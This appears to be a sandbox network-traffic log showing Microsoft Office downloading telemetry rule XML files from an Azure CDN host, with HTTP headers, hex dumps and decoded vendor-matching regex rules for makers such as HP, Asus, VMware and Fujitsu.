2024-11-18 07:55:22 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:23 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 5d8d4d17-101e-007a-18d2-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075523Z-16547b76f7fljddfhC1DFWeqbs00000006bg0000000068pg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:23 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: a27d7b4e-f01e-0003-126b-374453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075523Z-164f84587bfbvgrghC1DFWbs7w00000005e0000000009d0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.7	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:23 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 3b26cc7f-901e-007b-713f-38ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075523Z-164f84587bf28gjzhC1DFW35kg00000005bg00000000eh9r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.7	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:23 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 4cebb1d6-301e-0099-6509-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075523Z-16547b76f7fd4rc5hC1DFWkzhw00000005rg00000000ca73 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:23 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: ccb6a3a7-001e-0017-1ab5-370c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075523Z-16547b76f7fw2955hC1DFWsptc00000005z000000000a7at x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:24 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:24 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1f521cbf-201e-0003-13a0-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075524Z-1866b5c5fbbqmbqjhC1DFWwgvc000000053g0000000032q9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:24 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:24 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 3faa7a2c-701e-001e-5709-37f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075524Z-16547b76f7fljddfhC1DFWeqbs00000006d0000000003daq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:24 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:24 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: e43e0d6e-f01e-0099-649d-379171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075524Z-16547b76f7f9s8x7hC1DFWywrg000000055g00000000keav x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:24 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:24 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 06b7652e-701e-000d-4eaf-366de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075524Z-16547b76f7fwggrphC1DFW2a8s00000004d0000000006sd3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:24 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:24 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: c32296f1-601e-003d-7597-376f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075524Z-164f84587bfh9nvdhC1DFWmce000000003g0000000002q9t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:24 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:25 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 3ed4fa9a-c01e-000b-399a-37e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075525Z-16547b76f7fsq6p7hC1DFWfx6800000003y0000000009ucw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:25 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
